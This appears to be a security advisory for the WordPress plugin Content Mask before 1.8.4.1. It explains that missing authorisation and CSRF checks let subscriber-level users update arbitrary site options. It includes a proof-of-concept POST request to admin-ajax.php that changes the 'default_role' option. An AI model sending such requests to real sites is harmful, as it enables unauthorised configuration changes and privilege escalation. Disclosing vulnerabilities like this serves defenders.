Content Mask < 1.8.4.1 - Subscriber+ Arbitrary Options Update

2022-05-0300:00:00

ptsfence

0.001 Low

EPSS

Percentile

36.8%

JSON

The plugin does not have authorisation and CSRF checks in various AJAX actions, as well as does not validate the option to be updated to ensure it belongs to the plugin. As a result, any authenticated user, such as subscriber could modify arbitrary blog options

POST /wp-admin/admin-ajax.php HTTP/1.1
Cookie: [subscriber+]
Accept: application/json, text/javascript, */*; q=0.01
Accept-Language: en-GB,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
Content-Length: 70
Connection: close

action=update_content_mask_option&option=default_role&value=subscriber

0.001 Low

EPSS

Percentile

36.8%

JSON

Related for WPEX-ID:3C9969E5-CA8E-4E5D-A482-C6B5C4257820